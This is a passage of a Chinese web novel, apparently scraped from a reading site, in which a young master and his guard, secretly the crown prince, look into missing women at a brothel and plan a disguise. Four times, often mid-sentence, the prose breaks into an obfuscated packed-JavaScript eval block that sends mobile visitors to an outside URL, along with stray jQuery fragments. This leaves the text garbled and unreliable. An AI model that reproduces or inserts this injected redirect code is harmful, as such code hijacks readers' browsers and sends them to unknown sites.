他的脸上也浮现出一丝尴尬的神情,没想到这种逼良为娼的戏码还真能被他给遇上。 “我并非为了钱财而来,只是为了报答少爷的救命之恩。” 说着,小洪蓦地跪下,额头着地,响响当当地给叶安淮磕了一个:“实不相瞒,胡少在行里的名声一直不好,有不少姐妹回来时身上都带着伤,所以我才会……” 他这份大礼倒是把叶安淮吓了一跳,连忙起身拉着人:“别别别,大兄弟,咱俩看上去年纪差不多,你这一跪岂不是折了我的寿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024151|147973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小洪抬起头,面露希冀:“少爷,您就让我跟了您吧,若是被妈妈得知了今日之事,她肯定饶不了我的!” 这也是他的最终目的——叶家小少爷名声赫赫,却为人纯良,又没有那些七七八八的传闻。除了个山贼出身,背景贫寒了些,但总比镇子上那群纨绔世家子弟要好得多。若是跟了他,下辈子也不用愁吃喝了! 叶安淮面露难色,扭头望向解洵,无声地询问。 解洵扯着唇角笑了,这抹笑意却不达眼底。 他语气不带一丝温度,冷冷地开口:“你是来报恩的?” “这副打扮站在门口,若真是寻常求助,大可不必这般剑走偏锋,又怎会率先打听清楚小少爷的身份?表面上衣着暴露,言辞恳切,却步步试探小少爷的底线,倒不像个走投无路的。” 他目光犀利如刀,目光微冷,说完这句话后便不再多言。 叶安淮也敛了笑意,神情复杂地瞥了一眼小洪。 后者抿紧嘴唇,脸上闪过一丝慌乱,匆忙辩解:“少爷饶命……是我先前听闻了您的名声才敢求助,冒犯了少爷,恳请少爷饶命——!” 他这下是真的慌了。 叶安淮瞥了一眼解洵,走到他身边屈膝坐下,倏地问他:“冷不冷?” 解洵微怔,随即神情软和了些许:“屋中置有暖炉,还好,并不冷。” 叶安淮点了点头,扭头望向小洪,眸中一片沉静:“我问什么,你答什么,否则你就原封不动地从哪来给我回哪去,懂?” 小洪连连点头。 叶安淮问:“最近城中是不是发生了几桩案件?” 小洪怔了一下,似是对叶安淮的问话有些奇怪,随即连忙点头:“您是说那些寻人启事的案件吗?” “嗯。” 小洪稍显紧张地思索片刻,开口道:“回少爷,确实有这么回事。近些日子镇上人心惶惶,都在传那几桩案件,闹得人心神不宁。具体的消息我也不太清楚,不过听楼里的客人们闲谈,说那些失踪的……好像都是些未出阁的女子。” 他话到一半顿了顿,眉头微皱,像是突然想起什么似的:“对了,几天前我们楼里也有个姐妹失踪了,妈妈为此大发雷霆,说是丢了面子。不过我也不确定这件事是不是跟那些案件有牵连。” 叶安淮略微沉吟,又问:“除了失踪者是未出阁的女子,还有什么线索吗?” 小洪抬眼看了看叶安淮的神情,小心翼翼地说道:“其实,这镇上从前也有过女子失踪的事,只是次数稀少,从未像这般频繁。好像自上周起,衙门才接到接连不断的报案。” 说到这里,他低下头,声音压得更低,带着些许不安和惶恐:“坊间还有些传言……说这些案子与遥云寨有关。也有人说是遥云寨与县府的人关系不和,故意闹出来的假消息扰乱人心。” 话音刚落,小洪急急忙忙找补:“少爷饶命!这种传言流传很广,一传十十传百,但到底是真是假,谁也不敢确定。” 叶安淮没有搭理他,微微蹙眉,摸着下巴陷入了沉思。 上周…… 那岂不是刚传出太子生死未卜的消息的时候? 怎么会这么巧? 可这件事又与他们遥云寨有什么关系? 叶安淮的眉宇越蹙越紧,思绪也愈加混乱。 解洵静静垂眸望着他,缓缓抬手拉住他的手腕,凑近,声音低沉地在他耳旁轻声道。 “不要急。” 他的语气不急不缓,带着几分耐心和引导,循循善诱:“慢慢来,首先第一步。想一想,在这一切混乱之中,必定会有一个暗中操控的人。” “那个人,又是谁?” 18. 第十八章 第十八章 叶安淮呆呆地望着解洵,心跳微微加快,思绪不由自主地顺着他说的话往下延伸。 紧接着,一个名字缓缓浮现…… 他眸光瞬间一亮,近乎要脱口而出。 一根修长的指节抵在了他的唇边,解洵眉眼微弯,淡声道:“小少爷,放在心里想着便好,毕竟……隔墙有耳。” 叶安淮勉强将话语压下,迟疑地瞥了眼小洪,思绪纷杂。 ……可解洵怎么知道他要说的是谁? 另一边,小洪根本没听懂这两人在说些什么,就看见叶安淮深呼吸一口气,拍了拍自己的脸,想让自己清醒一些。 他别过脸去,不耐烦地挥了挥手:“你先走吧,有事我会再来喊你的。” 小洪忙不迭起身:“多谢少爷,多谢少爷。”说完,脚步飞速地往外走。 “等等。” 叶安淮半道叫住他,斜眼睨了他一眼,指了指小洪身上的外袍,凉凉地道,“衣服,留下。” 小洪硬着头皮脱下外袍,叶安淮不想看,摸着下巴还在想着方才的事情。 一枚晶亮的物什隔空抛来,小洪下意识地伸手接住,摊开手心才发现是一枚碎银。 他愣愣地抬起头,恰好对上解洵那双沉郁的眸子,吓得不由自主打了个寒颤。 解洵掀了掀眼皮,漫不经心地抿了口茶,淡淡道:“什么该说,什么不该说,你应该清楚吧?” 不知为何,这个侍卫给他的感觉,居然比叶家少爷还要强烈—— 小洪拼命点头,慌慌忙忙地转身跑走了。 叶安淮并未将两人的互动放在心上。 片刻后,他想了想,最终还是决定道:“不行,我得把这件事跟苗子越说一下。” 但他又隐隐觉得,苗子越其实已经知晓了这件事,只是没有对他全盘托出。 毕竟眼下的一切推断,仅仅是基于这两三则传闻推测出来的而已,还不能确保一切事件的真实性。 原本他以为,只要远离京城,远离了朝廷的纷争,就能安然无恙地度过他在这里短暂的一生。 如此看来,事情远比他想得还要复杂。 想到这里,叶安淮不由得叹了口气。 他这副忧心忡忡的模样引来了解洵的注目,后者顺手替他倒了杯茶,状似无意间开口:“怎么了?为何这般神态?” 叶安淮捧着热茶,望着清澈茶水中倒映着的自己,思绪缓缓回溯,一时间想起来了很多事情。 他刚穿越过来的时候,孤苦伶仃的一个人,周围也没什么玩伴,身边没有玩伴,整个世界仿佛隔着一层冰冷的玻璃。他整日将自己关在房间里,叶蔚成一度以为他是患上了什么自闭症,担心得不得了,还特意找来了杂技班子的人替他解解闷。 苗子越也是那个时候来的寨子。 那个时候叶安淮看谁都感觉是隔着一层窗户——他对谁都怀抱着一种疏离感,感觉世界如同虚幻,仿佛只要闭上眼,一觉醒来,这一切便会消失无踪。 哪怕叶蔚成和周边的人想方设法地哄他开心,叶安淮也都是一副兴致缺缺的模样。 因为他清楚,他们真正想要哄着开心的人不是他,而是这具身体的原主人。 一日,两日…… 一月,两月…… 一年,两年…… 时间就在这漫不经心地等待中溜走了,而这场梦始终没有醒来。 他也记不得自己什么时候敞开了心扉,什么时候开始和苗子越拌嘴,什么时候开始让叶蔚成追在他屁股后面责骂。 后来他想通了,活成什么样都是活,不如就放开了胆子活一场——结果没成想,一不小心活成了如今这副连猫狗都嫌的模样。 如今看来,也许该有的剧情早在冥冥之中就已注定。 叶安淮深吸了一口气,怔怔地望向解洵,低声问:“你说,如果我想一个人调查,能行得通吗?” 他还是想要报答,报答叶蔚成这五年来的恩情。 哪怕这份恩情从一开始就不属于他…… 解洵注视着他,温声问:“小少爷尽管放心大胆地去做。” “其他的,交给我来就好。” * 夜幕低垂,酒楼的灯火在漆黑的夜色之中摇曳,与窗外的霜冷形成了鲜明的对比。 临近冬至,窗边挂着红纸剪成的冬梅图样,竹影婆娑之中氛围渐浓。 长廊尽头的那间雅阁悄无声息地打开了门扉,两道人影一前一后地从里面走了出来。 叶安淮披着裘袄,柔顺的黑发干净利落地束在脑后,露出一张贵气又漂亮的小脸。 他的腰间挂着一枚青绿色的玉佩,随着身形的动作轻微摆动。 明眼人一看便知,那是遥云寨的象征。 解洵微微俯身,拢了拢他脖颈间的裘袄,免得寒风顺着衣领倒灌进去。 叶安淮轻轻唔了一声,顺着他的力道上前两步:“这法子真的行吗?” 解洵垂眸看他,指腹不经意间擦过他的耳垂,有些发烫。 “可行。”他淡淡道,“一会小少爷就在一旁看着,什么话都不要说。” 叶安淮心里小小的耶斯了一声。 虽说是他提议要查,但他确实不擅长那些虚与委蛇的套话,有解洵在真的是太好了! 他悄然凑近,低声问道:“所以我们现在要从哪里入手?” 解洵提醒道:“还记得方才那人提到过,前两日这酒楼之中也曾出现过失踪的女子吗?” 叶安淮有些疑惑:“没错,可那些失踪的不都是未出阁的女子吗?” “难不成和伶人也有关系吗?” 解洵眸光深沉,微微摇头:“传闻并非空穴来风,若要真是这样,那这个伶人很有可能就是突破点。” 谈话期间,两人边走边说,顺着长廊朝着阶梯方向前行。 原本身处二楼的雅阁,踏上木梯不过数步。一股浓烈刺鼻的胭脂水粉味便扑面而来。那气味杂乱而厚重,夹杂着脂粉、酒香与熏香, 那股气味复杂而浓烈,叶安淮抬头望去,三楼的阶梯口光线昏暗,昏黄的灯烛微弱地摇曳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14033226|147973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,透出一种迷离的氛围,幽幽地照亮了眼前的路。 解洵似是察觉到什么,脚步微顿。 叶安淮也随之停下,凑上前去,歪着脑袋问:“这感觉,怎么和二楼有些不太一样?” “小少爷,冒犯了。” 解洵这般说着,一把捏住了叶安淮的腕骨,他沉声提醒,“一会儿若是看见什么,不必多问,径直往前走就是。” 叶安淮似懂非懂地点了点头。 他心中虽有疑惑,但还是选择信任解洵,继续朝前走着。 没走两步,他便明白了解洵方才的话是什么意思了。 长廊两侧排列着密集的隔间,隔间的珠帘微微垂落,透出若隐若现的影子。烛光在帘后摇曳不定,映照出交叠的身影和晃动的轮廓。 轻声呢喃夹杂着低吟,从帘后的每个角落传出,声音若有似无,带着隐隐的欢愉,似痛苦又似欢喜,仿佛这一切被刻意藏在昏暗之中,却又在刻意地吸引路人的耳朵与目光。 叶安淮只觉得脑袋里轰然炸开,血液瞬间涌上脸颊——他不光听见了女人柔媚的声音,这其中甚至还夹杂着男人和男人的声音。 空气中暧昧的气息愈发浓烈,无形之间将他包裹,压得他呼吸都有些滞涩。 叶安淮猛然间想起方才那个叫小洪的少年…… 他下意识攥紧了解洵的手,手指挤进他的指缝间,紧紧贴着男人。 就在他想要加快脚步逃离这里的时候,解洵蓦地停了。 他停在长廊的拐角处,回过身来,静静地注视着叶安淮。 叶安淮免不得心中焦急:“走啊,停在这里做什么?” 男人的影子被昏黄的烛光拉得狭长,俊美的面容上不见一丝动容,他一只手虚虚地揽着叶安淮,将人朝着阴影处带。 “嘘,有人来了。” 耳边充斥着不堪入耳的声音,叶安淮紧紧闭着眼睛,逃也似的将脑袋埋在解洵的怀中,呜咽着开口:“那,那也不能停在这里啊。” 一阵匆忙的脚步声掠过,听起来是真的有人来了。 叶安淮浑身汗毛竖起,饶是在前世,他也不曾见过这种场景。 一只手轻柔地抚上他的脸颊,叶安淮顺着力道抬头,剔透的眸光中溢着水色,长睫上还挂着几滴泪珠。 他后知后觉地反应过来,两人的姿势或许有些暧昧了。 两人的胸膛紧紧地贴在一起,他猝不及防地落入一片银灰色的瞳眸之中,后者眸中暗沉一片,夹杂着些许叶安淮看不懂的情愫。 男人俯身低头,温热的吐息洒在少年的耳旁,他轻声问:“讨厌吗?” 叶安淮脑袋中混沌一片,根本不知道解洵在说些什么。 男人的指腹摩挲着滚烫的耳垂,极具侵略性的目光落在净白又脆弱的脖颈上,他又重复了一遍。 “断袖,很讨厌吗?” 他仿佛一头蛰伏已久的野兽,恶劣的脾性暴露无遗,步步紧逼,不肯放过半点松懈。那逼人的气势如影随形,将叶安淮笼罩其中,似乎在等着他的答复,不容回避。 19. 第十九章 第十九章 叶安淮感到一阵头晕目眩,大脑一片空白,摩挲在耳垂的那道温热触感让他浑身战栗,恍若梦中。 那双眸子紧紧地锁住他,少年仿佛被钉在了原地,完全动弹不得。 他感觉到解洵那股不容置喙的气势无处不在,步步紧逼。 男人的手掌依然轻轻掩在叶安淮的颈侧,传递着一股微妙的压迫感。 他下意识地退后了一步,解洵的手掌并未离开,反而轻轻加重了力道,迫使着不得不直视他。 男人轻笑一声,低沉的声音响在他的耳侧:“小少爷,小心些,别被人发现了。” 小少爷立马僵在了原地。 静等了三秒钟后,羞涩的红晕爬上脸颊,叶安淮这才反应过来,猛然间回过神,狠狠抬脚,直接踩在了解洵的脚背上。 “放开!” 他没有刻意压制自己的声音,声音因为羞愤而微微发颤。叶安淮努力让自己镇定下来,轻轻一挣便挣脱了解洵的束缚。 小少爷怒瞪着他,眸中的水光却暴露了内心的慌乱和无措,衬得他整个人威信全无。他咬牙切齿地道:“解洵,我看你是真的想造反了!” 解洵见真的把人惹急了,从善如流地退后一步,举手投降:“小少爷,我错了。” 叶安淮现在并不想搭理他,恶狠狠地哼了一声,愤愤转过身去,企图压制脸上的红意。 “诶——这不是叶小少爷吗?” 一道轻柔婉转的声音从前方传来,带着些许惊讶,打断了两人之间僵持的气氛。 叶安淮怒气未消,抬眸望了过去。 暗处,一个穿着明艳长袍的女人步姿摇曳地走了出来,她的脸上化着精致妆容,却难掩岁月的痕迹。 她手中执着细长烟杆,媚眼如丝,一缕青烟缓缓从她口中吐出:“今日吹得是什么风,刚送走一位大神,结果又来了一位。” “小少爷,奴家可没招你惹你,不要用这么凶神恶煞的眼神看着我嘛。” 叶安淮冷哼一声:“本少爷都不知道,这醉霜楼什么时候变成风柳之地了?” 花翎又吐出了一口烟,无奈地叹了口气:“这日子过得一日不如一日,奴家手下那么多妹妹们,总得混口饭吃吧。” “都是生活所迫,生活所迫呀。” 叶安淮面无表情地将面前飘来的烟挥散。 花翎的视线不经意间落在叶安淮身后的男人身上,倏地睁大了眼睛,还以为自己是看错了。 她咽了咽口水,声音中带着不可察觉的颤抖,勉强挤出一抹笑容:“小,小少爷,这位是……?” “我的侍卫。” 叶安淮心底的气还没散完,没精打采地道。 解洵不语,冷漠的视线淡淡扫过花翎,其中夹杂着些许警告的意味。 “侍……侍卫?!”花翎不可抑止地扬高音调,随即又掩饰地咳嗽了一声,“侍卫……侍卫好呀,侍卫挺好的,哈哈。” 叶安淮:“……” 他挑了挑眉:“姐姐,你今日是吃错药了吗?” 花翎拿着烟杆的手都在微微颤抖,她深呼吸一口气,企图平静一下波涛翻滚的内心。 “小少爷,这里并非什么说话的好地方,怕脏了您的耳朵,还是请先跟我来吧。”花翎微微一笑,话语中透出几分恭敬,随后转身,轻巧地走在前方,示意两人跟上。 叶安淮跟在后头,与解洵擦肩而过时,侧目又狠狠瞪了他一眼:“跟上。” 他顿了顿,立刻又补充道,“但是不许碰我!” 小少爷现在如炸毛的猫咪似的,“跟我保持一个安全距离!” 花翎步伐一滞,差点一个趔趄栽倒在地。她忍不住偷偷瞥了眼解洵的神情,见对方依然淡定自若,全无波澜,这才暗暗松了口气。 神仙打架,可别波及寻常人的好啊…… 她心中暗暗嘀咕,稳住步伐,默默带着这两位气场全开的“神仙”往安静的雅阁走去。 * 花翎带着他们连拐了好几个弯,直到那股浓郁的脂粉香渐渐淡去,被清雅的木香取代,才在一间幽静的雅阁前停下。 她推开门,屋内的陈设简洁,檀木桌椅带着淡淡的幽香,墙上挂着一幅泼墨山水画,透出一丝雅致的韵味,与外面的喧嚣截然不同。 “小少爷,您先请。” 叶安淮也没和她客气,找了个看上去就舒适的软榻一屁股坐下,赫然将此地当成了自家产业的模样。 解洵并未坐下,他站在了叶安淮的身后,修长的指节搭在软榻的椅背上,轻轻点了点。 那高大的身影无形之间加重了花翎心上的压力。 但她很快调整好心情,坐在了叶安淮的对面,从袖袍之中掏出烟丝卷了一卷,放入烟杆之中。 “小少爷今日前来,应该不是单纯为了喝花酒这么简单的事情吧?”花翎试探性地问道。 叶安淮微微颔首,淡淡吐出一个字:“茶。” 花翎愣了一瞬,还以为他是在向她索茶,便准备起身倒茶,却没想到有个人比她动作更快一步。 解洵率先一步,动作恭敬又细致地为他斟好茶,全然看不出方才那副放肆的模样。 花翎缓缓吐出一口气,觉得自己再和这两人待在一起迟早得心肌梗死。 她静静地看着叶安淮抿了一口茶,缓缓开口:“今日前来,确实是有些问题想要问一问花姨。” 花翎虽然在这醉霜楼里声名不凡,但叶安淮知晓她私下与叶蔚成关系应该是不错的,所以这一声花姨喊得不算亏。 花翎却苦笑一声:“这声‘花姨’奴家愧不敢当,小少爷不妨有话直说吧。” 叶安淮脑袋飞速转动,俨然已经将方才解洵让他不要开口的事情忘到了脑后。 他谨慎开口道:“近几日,我听到了几则有关遥云寨的传闻,也不知是真是假,特此想来问一问花姨。” 花翎心道,果然来了。 她点燃烟丝,放在唇边吸了一口,静默片刻,似是在想些什么。 须臾后,她吐出一口烟,云雾缭绕之间,她的声音似是沧桑了许多。 “是小洪告诉你们的吧?” 叶安淮一愣,随即坦白:“是。” 他直截了当地问:“他还说了近几日醉霜楼那名失踪的女子,据说也同这些传闻有关,是吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14043053|147973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……” 花翎瞥了一眼叶安淮身后的男人,心下了然,叹了一口气道:“小少爷,您算是问对人了。” “是,确实有关系。”她道,“失踪的妹妹名字叫苏清瑶——不知小少爷有没有听说过,是我们楼里名动一时的舞魁。” “早些年的时候,就有不少未出阁的女子走丢的事件,但数量不多,大多都不了了之了。近些日子……因为某些原因,这失踪案一下子就多了不少,衙门想不注意到都难。” 花翎说:“瑶儿姐出身贫寒,早些年的时候父母去了,家中只剩下她与年幼的妹妹相依为命。在不久前,她突然跟我说,她妹妹不见了,心急如焚。我原以为只是意外走失,孩子嘛,有些叛逆心很正常,指不定过两天又自己走回来了。” “可惜,事情没那么简单。” 叶安淮沉吟片刻,蹙眉道:“难不成她妹妹……也是那群失踪案的一员?” 花翎有些意外地看了眼叶安淮,点了点头:“不错。她妹妹失踪的时间恰好与那些案子发生的时间吻合。瑶儿姐当时急得四处奔走,甚至还私下底打探衙门的消息,也不知道是不是打听到了什么,一下子说要走……哦对了,她临走之前给我留了一封信。” “她跟我说,若是三日之内没能回来,就找到这个地方去报官。” 花翎叼着烟斗,眯起双眸,在袖袍中掏了掏,小心地取出一封略显褶皱的信递给了叶安淮。 叶安淮摊开信纸,上面的字迹清秀,写着四个大字——松隐茶舍。 他一边看,一边问:“那后来呢,你报官了吗?” 花翎脸上露出一种无可奈何的神情,摇了摇头:“没有。” 恰好这时,解洵微微俯身,附在叶安淮的耳旁轻声道:“这个松隐茶舍,平日人烟稀少,位置隐蔽。表面上是一户人家经营的小茶庄,实际上真正坐庄的人,姓胡。” 叶安淮皱紧眉头,低声重复:“姓胡?” 难怪。 难怪花翎不敢报官。 他对那个胡县丞不怎么熟悉,但是和胡申鸣打过不少次交道。有其子必有其父,显然看来这个胡县丞也不是什么好鸟,与此事定然脱不了干系。 花翎苦笑一声:“现在小少爷知道奴家为何不报官了吧。” “唉,可怜了我的瑶妹儿,如今还生死未卜。”花翎低下头,悄悄抹了一把眼角,“小少爷,若是您想要继续查下去的话,可以帮我多留意留意瑶妹儿的下落吗?” “这孩子孤苦伶仃,没有享过什么福气,赚的银子大部分也都寄回了家中供给她小妹。我可舍不得她到头来,却是这种下场。” 叶安淮怔怔地望着宣纸上那娟秀却略显仓促的字迹,内心蓦地被触动了,一种复杂的情绪涌上心头。 解洵静静地看着他,好似在等待着他做出结论。 莫名地,叶安淮忽地想起来不久前他说过的那句话。 ——小少爷尽管放心大胆地去做,其他的,交给我来就好。 他陡然攥紧手中的宣纸,定定地望向花翎,唇角扬起一抹似有似无的笑意。 “花姨。”他道,“我有个想法,但或许需要你的帮助。” 20. 第二十章 第二十章 花翎听到这话,心里咯噔了一声,下意识地望向了解洵。 她勉强露出一抹笑:“小少爷您能有什么法子,这可不是儿戏……” 她话说到一半,顿住了。 遥云寨常年和县衙不合,互看不顺眼,而叶安淮自打上次将胡县令之子揍了一顿之后,梁子早在暗中结下了。 哪怕被丑闻缠身,遥云寨也丝毫没有慌乱,自然是有自己的底气在的。 叶蔚成做事向来肆意妄为,完全不跟着逻辑走,哪怕是当真和县衙对上了,县衙也得薄让三分。 一条没拴链子的狗不足为惧 但一条没拴链子的疯狗,倘若真惹上了,那可不是闹着玩的。 “并非儿戏。”叶安淮正色道,“倘若我真的有办法潜入松隐茶舍,是不是就能拿到确凿的证据了?” “……” 花翎似乎已经猜到了他的打算,脸上露出难色,轻轻叹了口气道:“这……这也太危险了,就算奴家答应了。小少爷,等你爹回来之后要是知道这事,指定得扒了我一层皮。” 叶安淮蓦地笑了:“这也是我想说的,花姨,此事你知我知他知,断然不能让其他人知道,特别是苗子越……还有我爹。” 他顿了顿,又补充了一句:“起码在事成之前,不能让他们知道。” 解洵薄唇轻抿,沉默地注视着叶安淮,一言不发。 他这副态度让花翎有些拿不定主意,迫不得已之下,只得出声试探道:“那,后面这位小哥是什么想法?” 解洵掀了掀眼皮,目光淡淡地扫过她:“小少爷什么想法,我便是什么想法。” 他语气沉稳,低声道:“一切听从小少爷的安排。” 好好好。 花翎暗叹一声,这才清楚自己被迫入局了,她脸上浮现出一丝无奈的表情,放下手中的烟杆,坐直了身子。 花翎:“天色尚早,叶少,您先喝口茶,再慢慢说。” “只要是奴家能做的,定然倾力相助。” 叶安淮深呼吸一口气,定定地开口:“花姨,是这样,我要你帮我……” ** 陈述了起码有半个时辰,叶安淮将方才自己倏然冒出来的点子一一理清,解洵坐在他身旁,偶尔插两句话,将其中稍显冒险的部分完善了一下。 叶安淮说得口干舌燥,解洵递来一杯温茶,他润了润嗓子,长舒一口气:“就是这样,很简单吧?” 花翎掐着人中听完整个计划,好不容易回过神来,又听见这么一句,差点给气笑了:“小少爷,不得不说,您真的是……” 似乎想不出什么词语来形容他,花翎叹了口气道:“不愧是有其父必有其子,你们父子二人当真是一个模子刻出来的。 ——一样的恣肆任性,胆大妄为。 叶安淮呼出一口气,笑了:“那我就当花姨是在夸我了。” 花翎翻了个白眼:“奴家不是在夸你!罢了,既然小少爷都这般说了,奴家也不得不从了。” 她拍了拍手:“秦婆婆,进来吧。” 随着她尾音落下,一个模样看上去年逾五十的老嬷嬷走了进来。她的身形稍显消瘦,黝黑的皮肤衬得她眼神分外锐利。 秦婆婆微微垂首,朝着叶安淮和解洵行了一个礼,尊敬地喊了一声:“叶小少爷。” “婆婆,带我们小少爷下去梳洗打扮一番。”花翎吩咐道,“下手注意些,小少爷和楼里的妹妹们可不一样,娇气得很,伤着哪了奴家可不好交代。” 叶安淮嘀咕了一句:“你才娇气。” 他跟在秦婆婆的身后,临走之前,蹙眉扭头望了解洵一眼。 他虽然做足了嘴上功夫,但冷静下来后才意识到,自己不过是纸上谈兵。即使口中信誓旦旦,内心深处其实仍旧没底,甚至连这样做究竟是对是错都不敢确定。 似是看出了他内心的慌乱,解洵轻叹一声,起身上前。 少年眼底还稍显慌乱,下意识地攥住了解洵的衣袖:“……” 解洵反手将他的手握在掌心里,温声问:“在怕吗?” 叶安淮沉默片刻,道:“说不怕是假的。” “你说……我这样做,是对的还是错的?”少年眉宇微蹙,“我是不是,应该先和寨里的人商量一下再做决定?” 解洵轻笑一声,另一只手动作轻柔地抚上了他的脸颊。 额头抵着额头,叶安淮呼吸微微一窒,耳旁响起了低沉又温柔的声音:“又有何人来置喙这是非对错呢?不过是随心罢了。您想这么做,便做了。” “唯有无路可退,方才称得上是冒险。”他轻声道,“阿淮,我会一直看着你的。” ——我会永远成为你的退路。 少年人的成长总是伴随着无措和彷徨,只有真正勇敢踏出那一步,才能知晓前路是崎岖还是平坦。 至于其他的,就随后人评说吧。 …… 叶安淮跟在秦婆婆后面出去了。 雅阁里蓦地就静了下来。 解洵站在原地,手指微微摩挲着指腹,那上面似乎还留有少年皮肤细腻温暖的触感。 身后传来噗通一声,花翎猛地跪下,额头抵着软榻,声音微颤,带着深深的敬畏与惶恐:“殿下……奴家有眼不识泰山,不知太子殿下驾临寒舍,还望殿下恕罪。” 解洵漫不经心地扫过她一眼:“起身吧,孤今日是与阿淮一同前来,既然阿淮喊你一声花姨,便不必多礼。” 花翎又磕了磕头:“是。” 解洵饶有兴趣地问:“孤常年待在宫中,见过孤的人少之又少,你又是从何认出孤来的?” 还不等花翎回答,他便又兀自道:“也对,你认识叶蔚成。” 正如解洵的猜测,很多年前,花翎那个时候跟在叶蔚成的身边,确实远远地见过解洵一面。 只此一面,她便深深地将这位久居深宫的太子殿下记在了脑海中。 原因很简单。 花翎混迹于江湖之中,见过的人数不胜数,可从未见过像这般……毫无生气的人。 她依稀记得,那应该是五年前发生的事情了。 那个时候的太子殿下,看上去比旁人还要苍白几分,皮肤几乎毫无血色。五官虽精致却冷如雕塑,毫无温度。 他的瞳色是非常罕见的银灰色,却仿佛盛着无尽的黑夜,没有一丝波澜,甚至连情感的光芒都非常稀薄,透着一种彻底与世隔绝的疏离感。 比起人,他更像是一具行走的躯壳,一具没有灵魂的傀儡,仿若随时都会消散在世间。 如今看来,好似和从前不太一样了。 花翎不敢多问,她压低着脑袋,尽量不去看他:“殿下,那方才小少爷说的……” “孤说得还不够清楚吗?”解洵道,“一切按照阿淮的计划执行。” “是。”花翎咽了咽口水,心口发紧,“请殿下放心,奴家派出的人都是可信之人,绝对不会让小少爷陷入生命危险。” 语毕,却也不见应答。 花翎小心翼翼地抬起头,恰好看见解洵站在窗沿前,夕阳的赤红暮光斜斜洒下,笼罩在他周身,映得他的身影如剪影般冷峻。 她的目光被他的手吸引——一柄匕首静静地握在他的手中。 那柄匕首的握柄雕刻精致,纹路繁复,刀身薄如蝉翼,在阳光的投射下闪烁着淡淡的银色光泽,冷冽而犀利,隐隐透着一丝寒气。 花翎认出来,这正是先前叶蔚成送给叶安淮的生辰礼物——! 可她分明记得,这本该是一柄未开刃的装饰品才对。 解洵端详片刻,神情冷静,将指腹轻轻抵在锋利的刀刃上,稍一用力,刀锋划破肌肤,一道细细的血痕迅速浮现于他的指上。 鲜红的血珠渗出,染在银色的刃上,显得格外刺眼。 花翎失声道:“殿下!” 解洵眯了眯眸子,眼中浮现出一丝满意。 他将匕首放在桌案上:“一会等阿淮回来,你把这个交给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14050216|147973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,防身用。” 花翎看着匕首上淡淡的血痕,却不敢多言,低声应下:“是,殿下。” 另一边。 叶安淮跟着秦婆婆来到妆阁前,眼前的妆台上摆满了琳琅满目的饰品和香料,胭脂、粉黛、各色彩脂整齐地罗列开来。他瞠目结舌地看着这些物什,指着桌台道:“……这些,不会都要往我脸上糊吧?” 秦婆婆笑道:“叶少爷放心,化妆这种事情,您还是交给我这个老婆子来吧。” 说罢,她取出细长的画眉笔,微微侧身,在叶安淮的脸上细致地描摹起来。 老嬷嬷的手法确实娴熟,时间一分一秒地过去,叶安淮坐在软凳上忍不住打了个哈欠。 他的鼻尖充斥着那股子腻粉味,忍不住捏了捏鼻梁,瓦声瓦气地问:“还没好吗?” 秦婆婆:“叶少爷再忍一忍,就快好啦。” 随着最后一笔落下,秦婆婆放下手中的物什,退离两步,随即满意地点了点头。 “好了。”老嬷嬷笑眯眯地道,“再换身行头,我们就能回去了。” 叶安淮:“……” 他深呼吸了一口气,表情视死如归。 * 解洵走后,花翎在雅阁之中等得百无聊赖,也不知抽了几卷烟丝时,忽然听到门外传来轻轻的敲门声。 门帘缓缓拉开,她漫不经心地偏头望去,在看清屋外的人时,手中的烟杆险些落地,整个人瞬间呆住了。 站在门口的“少女”一袭素雅的浅色襦裙,妆容清秀温婉,乌发梳成低垂的垂髫,几缕柔软的流苏垂落在耳侧,脸颊微微染着红晕,眉眼间透着几分羞怯。 叶安淮不安地扯了扯裙摆,胸口勒得他有些不太自在:“是不是,看上去有点奇怪?” 花翎猛地站起身,飞速跑到他身前,握住他的手:“小少……不对,小姐!” 